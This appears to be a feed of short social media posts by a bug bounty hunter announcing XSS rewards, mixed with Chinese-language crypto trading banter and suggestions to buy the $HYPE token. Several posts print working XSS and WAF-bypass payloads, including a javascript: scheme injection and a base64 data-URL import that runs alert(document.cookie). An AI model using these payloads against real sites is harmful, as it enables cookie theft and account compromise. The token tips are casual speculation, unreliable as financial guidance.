R1s

2024 2025 MSRC MVR / Web security / Bug Bounty / Web3 / Senior at Hanyang University

[R1s @R1s666]

MSRC 2024- Q1、Q3、Q4、 Leaderboard 🏆#msrc
#bugbounty @msftsecresponse

[R1s @R1s666]

@fishcccc @yeswehack 已经亏完了

[R1s @R1s666]

Just got a reward for a vulnerability submitted on @yeswehack -- Cross-site Scripting (XSS) - DOM (CWE-79).

If you control the scheme of location.href = param, send javascript:alert(document.domain)//.

[R1s @R1s666]

Check out my Codex activity

[R1s @R1s666]

最好的证明

[R1s @R1s666]

$HYPE 如果你不知道买什么 可以买点hype

[R1s @R1s666]

@whithat444 @AlibabaGroup @alibaba_cloud If you trust me, I can help you report the vulnerability.

[R1s @R1s666]

@ruo_zhang96325 一半一半

[R1s @R1s666]

第一个大模型的严重

[R1s @R1s666]

Sorry, the payload I entered above was incorrect. This is the correct one.

<mctx%2FOnCoNtEnTvIsIbIlItYaUtOsTaTeChAnGe%3Dalert%601%60%09STYLE%3Ddisplay%3Ablock%3Bcontent-visibility%3Aauto>

[R1s @R1s666]

Just got a reward for a vulnerability submitted on @yeswehack -- Cross-site Scripting (XSS) - Reflected (CWE-79).

Waf bypass:

<mctx%2FOnCoNtEnTvIsIbIlItYaUtOsTaTeChAnGe%3Dalert%601%61%09STYLE%3Ddisplay%3Ablock%3Bcontent-visibility%3Aauto>

[R1s @R1s666]

#msrc

[R1s @R1s666]

$HYPE 如果你不知道买什么 可以买点hype

[R1s @R1s666]

@Feilongdd 从6w唱空到8w了要

[R1s @R1s666]

@thankUcrypto 昨天喊开空，现在开多赚钱了发出来装逼，喊开空不晒图就知道你没开，前面还发自己不喊币做那么多铺垫，实际比谁都黑

[R1s @R1s666]

@thankUcrypto 你开空倒是贴单呀 别光喊

[R1s @R1s666]

@moon_bgb 定投bgb 不如定投hype

[R1s @R1s666]

@Feilongdd 86接了一点

[R1s @R1s666]

@4osp3l @yeswehack ❤️

[R1s @R1s666]

Just got a reward for a vulnerability submitted on @yeswehack -- Cross-site Scripting (XSS) - Reflected (CWE-79).
wafbypass tips : "-import(%27data:application/javascript;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ==%27)-"

[R1s @R1s666]

@chain00x 腾讯的吗